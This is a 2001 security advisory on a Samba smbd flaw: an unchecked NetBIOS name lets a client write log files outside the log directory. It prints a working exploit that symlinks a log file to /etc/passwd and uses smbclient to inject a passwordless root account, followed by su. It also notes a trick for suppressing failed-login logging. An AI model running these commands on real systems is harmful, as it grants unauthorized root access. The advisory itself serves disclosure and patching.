smbd remote file creation vulnerability

   Issue Date: June 25, 2001
   Contact: Michal Zalewski
   
Topic:

   Insufficient parameter validation and unsafe default configuration on
   popular Linux platforms make systems running samba SMB file sharing
   daemon vulnerable to remote attacks.
   
Affected Systems:

   Tested on smbd 2.0.7 shipped with RedHat Linux 7.0 and 7.1. Confirmed on
   2.0.8.
   
Overview:

   Due to insufficient checking of the NetBIOS computer name in incoming
   SMB requests, in conjunction with default configuration found on Linux
   platforms (like RedHat and derivates), samba daemon allows remote
   attackers to create SMB session log files (*.log) with highly
   attacker-dependent contents outside outside logs directory. This
   vulnerability itself can be used to perform DoS attacks, or, if combined
   with unprivileged local access, can be used to gain superuser
   privileges.
   
   On vulnerable platforms, by default, each SMB session is logged to the
   file /var/log/samba/.log. If the attacker is connecting from 'FOOBAR',
   logs would be put in /var/log/foobar.log. Unfortunately, NetBIOS name
   '../../../evil' would be accepted as well, creating /evil.log file.
   
   This vulnerability is exploitable if the following setting is present in
   smb.conf file:
   log file = /var/log/samba/%m.log

   ...which is default on major Linux distributions, and probably few other
   platforms, as well. On some systems, configuration might be different:
   log file = /usr/local/samba/var/log.%m

   In the second case (e.g. FreeBSD), there is usually no way to exploit
   this vulnerability.
   
   Additionally, as noticed by Mark Loveless, using bogus NetBIOS names,
   like 'non/existing/dir', it is possible to avoid logging of error
   messages (e.g. authentication failures) at all, which might be very
   useful for performing brute-force attacks.
   
Exploit:

   This is the scenario of local privilege escalation attack against RedHat
   7.x installation:
   $ ln -s /etc/passwd /tmp/x.log

   $ smbclient //NIMUE/"`perl -e '{print "\ntoor::0:0::/:/bin/sh\n"}'`" \
     -n ../../../tmp/x -N

   ...where 'NIMUE' stands for local host name (few error messages should
   be returned).
   $ su toor
   #

   Explaination of this attack is pretty trivial. Samba daemon tries to
   access logfile for host introducing itself as '../../../tmp/x'. This
   translates to open() on /var/log/samba/../../../tmp/x.log. Thus,
   /tmp/x.log is opened in O_APPEND mode, following previously created
   symlink to /etc/passwd.
   
   Then, anonymous attempt to mount non-existing share named
   "\ntoor::0:0::/:/bin/sh\n" is logged in /tmp/x.log, or, if you prefer,
   in /etc/passwd.
   
   Error message looks this way:
  [2001/06/22 14:53:03, 1] smbd/reply.c:reply_sesssetup_and_X(925)
    Rejecting user 'lcamtuf': authentication failed
  [2001/06/22 14:53:03, 0] smbd/service.c:make_connection(214)
    ../../../tmp/x (192.233.133.108) couldn't find service
    toor::0:0::/:/bin/sh

   The last line is, obviously, accepted by /bin/su or /bin/login.
   
Fix information:

   As a temporary workaround, we suggest changing 'log file' setting, as
   described above. This vulnerability has been confirmed by the vendor,
   and is addressed there:
   
   https://us1.samba.org/samba/whatsnew/macroexploit.html
   
   Removing '%m' at all would protect against attackers trying to avoid
   logging at all. Vendor was informed, fix will be publicly available
   soon.